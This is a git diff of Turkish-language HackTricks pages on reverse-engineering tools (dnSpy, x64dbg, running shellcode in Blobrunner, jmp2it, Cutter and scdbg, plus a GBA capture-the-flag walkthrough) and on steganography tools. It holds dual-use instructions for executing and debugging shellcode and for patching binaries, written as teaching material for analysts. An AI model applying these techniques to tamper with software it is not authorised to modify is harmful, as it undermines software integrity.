dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile** eden ve inceleyen bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir. dotPeek, **kütüphaneler** (.dll), **Windows meta veri dosyaları** (.winmd) ve **çalıştırılabilir dosyalar** (.exe) dahil olmak üzere **birden fazla formatı decompile** eden ve inceleyen bir decompiler'dır. Decompile edildikten sonra, bir assembly Visual Studio projesi (.csproj) olarak kaydedilebilir.
Buradaki avantaj, kaybolmuş bir kaynak kodunun eski bir assembly'den geri yüklenmesi gerektiğinde, bu işlemin zaman kazandırmasıdır. Ayrıca, dotPeek, decompile edilmiş kod boyunca kullanışlı bir navigasyon sağlar ve bu da onu **Xamarin algoritma analizi** için mükemmel araçlardan biri yapar. Buradaki avantaj, kaybolan bir kaynak kodunun eski bir assembly'den geri yüklenmesi gerektiğinde, bu işlemin zaman kazandırmasıdır. Ayrıca, dotPeek, decompile edilmiş kod boyunca kullanışlı bir navigasyon sağlar ve bu da onu **Xamarin algoritma analizi** için mükemmel araçlardan biri yapar.
### [.NET Reflector](https://www.red-gate.com/products/reflector/) ### [.NET Reflector](https://www.red-gate.com/products/reflector/)
@ -68,7 +60,7 @@ Eğer **decompile**, **değiştir** ve tekrar **recompile** etmeniz gerekiyorsa
### DNSpy Günlüğü ### DNSpy Günlüğü
**DNSpy'nin bir dosyaya bazı bilgileri kaydetmesi** için bu kod parçasını kullanabilirsiniz: **DNSpy'nin bir dosyaya bazı bilgileri günlüğe kaydetmesi** için bu kod parçasını kullanabilirsiniz:
```cs ```cs
using System.IO; using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt"; path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -99,9 +91,9 @@ Ardından yeni dosyayı _**File >> Save module...**_ ile kaydedin:
![](<../../.gitbook/assets/image (602).png>) ![](<../../.gitbook/assets/image (602).png>)
Bu gereklidir çünkü bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla tetiklenmeyebilir** veya bazı **değişkenler mevcut olmayabilir**. Bunu yapmak gereklidir çünkü eğer bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla vurulmayabilir** veya bazı **değişkenler mevcut olmayabilir**.
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu **restart** etmek için: Ardından, eğer .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu şu şekilde **yeniden başlatabilirsiniz**:
``` ```
iisreset /noforce iisreset /noforce
``` ```
@ -146,7 +138,7 @@ Artık süreci hata ayıklıyoruz, zamanı durdurup tüm modülleri yükleme zam
![](<../../.gitbook/assets/image (704).png>) ![](<../../.gitbook/assets/image (704).png>)
Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacak**, sonra, rundll32 DLL'nizi yüklediğinde yürütme durdurulacak. Ardından, hata ayıklamaya başladığınızda **her DLL yüklendiğinde yürütme durdurulacaktır**, daha sonra rundll32 DLL'nizi yüklediğinde yürütme durdurulacaktır.
Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, nasıl olduğunu bilmiyorum. Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, nasıl olduğunu bilmiyorum.
@ -155,13 +147,13 @@ Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, n
* **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe) * **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
* **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain * **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
* _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin. * _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin.
* Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracak, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın. * Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın.
Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmında**: Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** **win64dbg penceresinin üst kısmında** görebilirsiniz:
![](<../../.gitbook/assets/image (842).png>) ![](<../../.gitbook/assets/image (842).png>)
Sonra, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğiniz DLL'de. Ardından, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğiniz DLL'de.
## GUI Uygulamaları / Video Oyunları ## GUI Uygulamaları / Video Oyunları
@ -173,7 +165,7 @@ Sonra, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğ
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Proje Hata Ayıklayıcısı (GDB) için bir ön yüz/ters mühendislik aracıdır, oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için kullanılabilir. [**PiNCE**](https://github.com/korcankaraokcu/PINCE) GNU Proje Hata Ayıklayıcısı (GDB) için bir ön yüz/ters mühendislik aracıdır, oyunlara odaklanmıştır. Ancak, herhangi bir ters mühendislik ile ilgili şeyler için kullanılabilir.
[**Decompiler Explorer**](https://dogbolt.org/) bir dizi decompiler için bir web ön yüzüdür. Bu web hizmeti, küçük yürütülebilir dosyalar üzerindeki farklı decompiler'ların çıktısını karşılaştırmanıza olanak tanır. [**Decompiler Explorer**](https://dogbolt.org/) bir dizi dekompiler için bir web ön yüzüdür. Bu web hizmeti, küçük yürütülebilir dosyalar üzerinde farklı dekompilerin çıktısını karşılaştırmanıza olanak tanır.
## ARM & MIPS ## ARM & MIPS
@ -183,11 +175,11 @@ Sonra, yürütmenin durdurulduğu yeri görebilirsiniz, hata ayıklamak istediğ
### Blobrunner ile bir shellcode'u hata ayıklama ### Blobrunner ile bir shellcode'u hata ayıklama
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracak**.\ [**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracaktır**.\
Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koymanız ve yürütmeyi **devam ettirmeniz** gerekiyor. Bu şekilde shellcode'u hata ayıklayacaksınız. Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koymanız ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklayacaksınız.
Yayınlar github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Yayınların github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**. Aşağıdaki bağlantıda Blobrunner'ın biraz değiştirilmiş bir versiyonunu bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
{% content-ref url="blobrunner.md" %} {% content-ref url="blobrunner.md" %}
[blobrunner.md](blobrunner.md) [blobrunner.md](blobrunner.md)
@ -195,31 +187,31 @@ Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda
### jmp2it ile bir shellcode'u hata ayıklama ### jmp2it ile bir shellcode'u hata ayıklama
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **Shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, sürece **hata ayıklayıcıyı eklemeniz**, **oyunu başlatmanız, 2-5 saniye beklemeniz ve durdurmanız** gerekiyor ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u çalıştırıyor olacaksınız. [**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **Shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, sürece **hata ayıklayıcıyı eklemeniz**, **başlat düğmesine basmanız, 2-5 saniye beklemeniz ve durdurmanız** gerekir ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız.
![](<../../.gitbook/assets/image (509).png>) ![](<../../.gitbook/assets/image (509).png>)
Derlenmiş bir versiyonu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz. Derlenmiş bir versiyonunu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz.
### Cutter kullanarak shellcode'u hata ayıklama ### Cutter kullanarak shellcode'u hata ayıklama
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare'nin GUI'sidir. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz. [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) radare'nin GUI'sidir. Cutter kullanarak shellcode'u emüle edebilir ve dinamik olarak inceleyebilirsiniz.
Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın. Benim durumumda shellcode'u dosya olarak açtığımda doğru bir şekilde decompile etti, ancak shellcode olarak açtığımda etmedi: Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın. Benim durumumda shellcode'u dosya olarak açtığımda doğru bir şekilde dekompile etti, ancak shellcode olarak açtığımda etmedi:
![](<../../.gitbook/assets/image (562).png>) ![](<../../.gitbook/assets/image (562).png>)
Emülasyonu istediğiniz yerden başlatmak için oraya bir kesme noktası koyun ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır: İstediğiniz yerden emülasyonu başlatmak için orada bir kesme noktası ayarlayın ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır:
![](<../../.gitbook/assets/image (589).png>) ![](<../../.gitbook/assets/image (589).png>)
![](<../../.gitbook/assets/image (387).png>) ![](<../../.gitbook/assets/image (387).png>)
Örneğin, bir hex dump içinde yığını görebilirsiniz: Örneğin, bir hex dökümünde yığını görebilirsiniz:
![](<../../.gitbook/assets/image (186).png>) ![](<../../.gitbook/assets/image (186).png>)
### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları alma ### Shellcode'u deşifre etme ve yürütülen fonksiyonları alma
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152) denemelisiniz.\ [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152) denemelisiniz.\
Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendini **çözdüğünü** size söyleyecektir. Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendini **çözdüğünü** size söyleyecektir.
@ -235,7 +227,7 @@ scDbg ayrıca istediğiniz seçenekleri seçip shellcode'u çalıştırabileceğ
![](<../../.gitbook/assets/image (258).png>) ![](<../../.gitbook/assets/image (258).png>)
**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** belirli bir offset'te shellcode'u başlatmak için faydalı olabilir. **Debug Shell** seçeneği, scDbg terminalini kullanarak shellcode'u hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz). **Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** belirli bir offset'te shellcode'u başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz).
### CyberChef kullanarak ayrıştırma ### CyberChef kullanarak ayrıştırma
@ -243,7 +235,7 @@ Shellcode dosyanızı girdi olarak yükleyin ve onu decompile etmek için aşağ
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Bu obfuscator **`mov` için tüm talimatları değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için: Bu obfuscator **tüm `mov` talimatlarını değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
@ -274,7 +266,7 @@ Eğer bir Delphi ikili dosyasını tersine mühendislik yapmanız gerekiyorsa, I
Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin. Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) ve python eklentisini seçin.
Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başında bir kesme noktası oluşacaktır. Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başlangıcında bir kesme noktası oluşacaktır.
Ayrıca, grafik uygulamasında bir düğmeye bastığınızda, hata ayıklayıcı o düğme tarafından yürütülen fonksiyonda duracaktır. Ayrıca, grafik uygulamasında bir düğmeye bastığınızda, hata ayıklayıcı o düğme tarafından yürütülen fonksiyonda duracaktır.
@ -299,7 +291,7 @@ Bu sayfada bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl
Bir GBA oyununun **ikilisini** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz: Bir GBA oyununun **ikilisini** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile birlikte bir hata ayıklayıcı içerir * [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile birlikte bir hata ayıklayıcı içerir
* [**mgba** ](https://mgba.io) - CLI hata ayıklayıcı içerir * [**mgba** ](https://mgba.io)- CLI hata ayıklayıcı içerir
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
@ -359,7 +351,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6; uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) { if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
``` ```
Son if, **`uVar4`**'ün **son Anahtarlar** içinde olup olmadığını ve mevcut anahtar olmadığını kontrol ediyor, ayrıca bir düğmeyi bırakma olarak da adlandırılır (mevcut anahtar **`uVar1`**'de saklanır). Son if, **`uVar4`**'ün **son Tuşlar** içinde olup olmadığını ve mevcut tuş olmadığını kontrol ediyor, ayrıca bir düğmeyi bırakma olarak da adlandırılır (mevcut tuş **`uVar1`**'de saklanır).
```c ```c
if (uVar1 == 4) { if (uVar1 == 4) {
DAT_030000d4 = 0; DAT_030000d4 = 0;
@ -391,9 +383,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** butonu): Bu zorlukta bu buton ekranı temizliyor. * İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** butonu): Bu zorlukta bu buton ekranı temizliyor.
* Sonra, **değer 8** ile karşılaştırılıyor (**START** butonu): Bu zorlukta bu, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor. * Sonra, **değer 8** ile karşılaştırılıyor (**START** butonu): Bu zorlukta bu, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor.
* Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor. * Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve eğer değer aynıysa bazı kodlar çalıştırılıyor.
* Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\ * Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\
**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemekle** ilgili bir şey yapılıyor (temelde, cont 8'den küçük olduğu sürece bu değişkende basılan tuşların değerlerini topluyor). **E**ğer 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemeyi** içeren bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece bu değişkende basılan tuşların değerlerini topluyor).
Bu zorlukta, butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den küçük bir uzunlukta bir kombinasyonu basmanız gerekiyordu.** Bu zorlukta, butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den küçük bir uzunlukta bir kombinasyonu basmanız gerekiyordu.**
@ -408,12 +400,6 @@ Bu zorlukta, butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'd
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Binary deobfuscation)
**Try Hard Security Group**
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,33 +1,25 @@
# Stego Tricks # Stego Tricks
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Dosyalardan Veri Çıkartma** ## **Dosyalardan Veri Çıkartma**
### **Binwalk** ### **Binwalk**
Gömülü gizli dosyaları ve verileri aramak için bir araçtır. `apt` ile kurulur ve kaynağı [GitHub](https://github.com/ReFirmLabs/binwalk)'ta mevcuttur. Gömülü gizli dosyaları ve verileri aramak için kullanılan bir araçtır. `apt` ile kurulur ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk) üzerinde mevcuttur.
```bash ```bash
binwalk file # Displays the embedded data binwalk file # Displays the embedded data
binwalk -e file # Extracts the data binwalk -e file # Extracts the data
@ -47,7 +39,7 @@ exiftool file # Shows the metadata
``` ```
### **Exiv2** ### **Exiv2**
Exiftool'e benzer, metadata görüntüleme için. `apt` ile kurulabilir, kaynağı [GitHub](https://github.com/Exiv2/exiv2)'da bulunmaktadır ve [resmi web sitesi](http://www.exiv2.org/) vardır. Exiftool'e benzer, metadata görüntüleme için. `apt` ile kurulabilir, [GitHub](https://github.com/Exiv2/exiv2)'da kaynak mevcuttur ve [resmi web sitesi](http://www.exiv2.org/) vardır.
```bash ```bash
exiv2 file # Shows the metadata exiv2 file # Shows the metadata
``` ```
@ -71,7 +63,7 @@ strings -e B -n 6 file # 32bit strings (big-endian)
``` ```
### **Karşılaştırma (cmp)** ### **Karşılaştırma (cmp)**
Çevrimiçi bulunan orijinal versiyonla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır. Çevrimiçi bulunan orijinal versiyonuyla değiştirilmiş bir dosyayı karşılaştırmak için kullanışlıdır.
```bash ```bash
cmp original.jpg stego.jpg -b -l cmp original.jpg stego.jpg -b -l
``` ```
@ -79,13 +71,13 @@ cmp original.jpg stego.jpg -b -l
### **Boşluklardaki Gizli Veriler** ### **Boşluklardaki Gizli Veriler**
Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin. Görünüşte boş olan alanlardaki görünmez karakterler bilgi saklayabilir. Bu verileri çıkarmak için [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder) adresini ziyaret edin.
## **Görüntülerden Veri Çıkarma** ## **Görüntülerden Veri Çıkarılması**
### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme** ### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: [GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash ```bash
./magick identify -verbose stego.jpg ./magick identify -verbose stego.jpg
``` ```
@ -123,7 +115,7 @@ zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmada uzmanlaşmış
**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın. **stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın.
**Stegsolve**, görüntülerdeki gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur. **Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur.
### **Gizli İçerik Tespiti için FFT** ### **Gizli İçerik Tespiti için FFT**
@ -131,7 +123,7 @@ Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) * [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) * [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic GitHub'da](https://github.com/0xcomposure/FFTStegPic) * [GitHub'da FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy Ses ve Görüntü Dosyaları için** ### **Stegpy Ses ve Görüntü Dosyaları için**
@ -164,7 +156,7 @@ Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış
### **Stegpy (PNG, BMP, GIF, WebP, WAV)** ### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
